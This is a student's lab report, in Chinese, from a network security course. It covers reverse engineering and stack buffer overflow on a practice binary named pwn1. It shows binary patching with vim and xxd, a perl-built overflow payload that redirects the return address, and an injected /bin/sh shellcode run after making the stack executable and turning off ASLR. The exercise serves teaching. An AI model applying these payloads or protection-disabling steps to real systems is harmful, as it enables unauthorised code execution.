20165310 NstSec2019 Week3 Exp1 逆向与Bof基础

20165310 NstSec2019 Week3 Exp1 逆向与Bof基础

一、实验内容

  • 实验目标

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 实验原理

    • 缓冲区溢出原理

      im

    • 函数调用堆栈步骤

      BCDADA153C11ED7A1F78B94F8C57CB

  • 实验任务

    • 任务一、直接修改程序机器指令,改变程序执行流程
    • 任务二、通过构造输入参数,造成BOF攻击,改变程序执行流
    • 任务三、注入Shellcode并运行攻击
  • 实验基础

    • 基本Linux操作,例如反汇编指令、编辑器指令等,具体指令见实验过程

    • 汇编语言基础

      NOP汇编指令的机器码是“90”
      
      JNE汇编指令的机器码是“75”
      
      JE 汇编指令的机器码是“74”
      
      JMP汇编指令的机器码是“eb”
      
      CMP汇编指令的机器码是“39
      

    • 基本gdb单步调试能力

二、实验步骤

任务一、直接修改程序机器指令,改变程序执行流程

  • 将pwn1复制为pwn0作为备份,运行pwn1,发现pwn1的功能是打印输入的内容

    0

  • 使用objdump -d pwn1将pwn1反汇编 ,查看相关函数

    1

  • 排除系统调用,寻找关键函数mainfoogetshell

    2

  • 根据反汇编代码

    • 计算主函数跳转地址,计算方法为:

    call对应的跳转指令为:e8+偏移地址,如图中所示为e8 d7 ff ff ff,原本eip所对应地址为:0x80484ba,最终指令地址为eip+偏移地址,即函数foo的首地址8048491,通过计算器可以验证正确性

    3

    • 函数getshell的首地址为0x804847d,计算偏移地址为0x804847d-0x80484ba,得0xffffffc3 ,由于大小端存储格式,更改指令应该为e8 c3 ff ff ff

    4

    • 除以上方法外,简便的计算方法,foo基地址-0xffffffd7=getshell基地址-所求跳转偏移地址,答案一样
  • 计算出地址后,对程序跳转机器指令进行修改,使其不再跳转到foo ,而是直接跳转至函数getShell

    • 利用万能的vim打开pwn1文件,发现满屏乱码,原因是vim默认显示ASCII码,esc切换到命令模式输入命令:%!xxd将其转换为16进制显示(windows环境推荐winhex)

      5

      6

    • 搜索需要修改的部分,便于修改,搜索命令/+搜索内容,输入i切换到输入模式,将d7 ff ff ff修改为c3 ff ff ff

      7

      8

    • 再次切换至命令模式,利用命令:%!xdd -r,使文件从十六进制转换回ASCII码,国际惯例:wq保存并退出,为了验证我们是否修改正确,再次利用objdump -d pwn1反汇编查看代码,确认修改正确

      9

    • 确认修改地址成功,运行pwn1,验证是否能够跳转至getshell函数,发现成功得到shell

任务二、通过构造输入参数,造成BOF攻击,改变程序执行流

  • 从备份pwn0复制pwn2进行实验,objdump -d pwn2查看反汇编代码,计算缓冲区大小

  • 根据上图的代码,我们猜测缓冲区大小为0x1c,即28字节大小,加上ebp的四个字节共为32字节,我们运行程序进行输入,分别为36字节、32字节、31字节、28字节、27字节验证自己的想法

  • 输入36字节的输入111111112222222233333333444444445555,gdb调试,i r查看寄存器的值,eip0x35353535正是5555的ASCII值,可见返回地址被5555覆盖,将5555改成getshell地址0x0804847d即可

  • 但是输入参数需为ASCII码,地址需要与填充的字符串一起,利用解释型语法perl构造后输入,具体构造方法如下:

    • 将所需字符串+地址,利用perl重定向至文件perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF1

    • 查看文件cat BOF1xxd BOF1可查看是否重定向成功,成功后利用管道输入参数至pwn2(cat BOF1; cat ) | ./pwn2,成功获得shell

任务三、注入Shellcode并运行攻击

  • ShellCode:一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode

  • 前期环境准备工作

    • 备份pwn0为pwn3作为实验对象

    • 输入指令apt-get install execstack安装execstack

    • 设置堆栈可执行,否则就算注入成功也无法执行。

      execstack -s pwn3    //设置堆栈可执行
      execstack -q pwn3    //查询文件的堆栈是否可执行
      
    • 关闭地址随机化:现代操作系统地址随机化导致缓冲区溢出困难,下次可以尝试不关闭随机化的缓冲区溢出攻击。

      more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭
      'echo "0" > /proc/sys/kernel/randomize_va_space        //关闭随机化
      more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭
      

      (其中“2”为开启,“0”为关闭)

  • 运行pwn3,构造shellcode注入,gdb单步调试,确认返回地址的位置

    • 构造shellcode,有如下三种构造方式,实验指导中所谓的“坑”即方法一,在缓冲区足够大时是适用的,由于本实验缓冲区只有32字节,并不适用,我们选择方法二:RNS溢出模式

      E898BA90A7C183757186D80AA51D98

    • 根据shellcode构造方法进行构造,继续利用perl语句重定向后注入,注入原理如下:

      B27B38667EC550C64B3ECA30284627

    • 参考实验指导的shellcode,假设返回地址1234进行构造:perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode1,再利用(cat input_shellcode;cat) | ./pwn3进行注入

    • 打开第二个terminal,利用gdb进行调试,首先找到对应进程才能进行调试,输入ps -ef | grep pwn3找到对应进程,进程号为6719

    • gdb命令attach+进程号进行单步调试,disassemble+函数名查看对应函数指令对应地址,其中返回值ret是我们关注的重点

    • b+指针设置ret的断点,c为函数继续执行的意思,注意一定要在注入的terminal按下回车,否则会出错,总结中将提到这一错误;利用i r esp查看esp的地址,x/16x+esp地址查看esp中的内容的十六进制,可以清晰看到esp最后为0x01020304正是我们假定实验的数值。

  • 确认返回地址无误后,我们将假定的返回地址地址1234换为shellcode函数的真正地址,即0xffffd2ec+0x4=0xffffdef0 ,重定向为input_shellcode2

  • 注入shellcode,成功获得shell

遇到问题与感想

  • 问题与解决方法:
    • 问题:在任务三gdb单步调试时,continue时,没有去另一个终端按下回车而是在当前终端按下回车,最终的esp并不在ret,经过查看地址的数据,发现差了四个字节,应该是多了回车导致多执行了一条命令,使esp产生了变化。
    • 解决方法:在注入的终端执行回车
  • 实验感想:
    • 初步理解缓冲区溢出原理与构造方法
    • 实际情况往往比实验复杂许多,还需要学习与研究
    • 对于汇编等基础知识的学习还要加强
  • 什么是漏洞?漏洞有什么危害?
    • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
    • 理论上世界上任何程序、硬件、设备等都存在漏洞
    • 漏洞的危害可大可小,小则个人隐私等遭受破坏,大则全国经济损失、国家信息被泄露等一系列重大后果。
posted @ 2019-03-15 22:16  AOI  阅读(150)  评论(0编辑  收藏  举报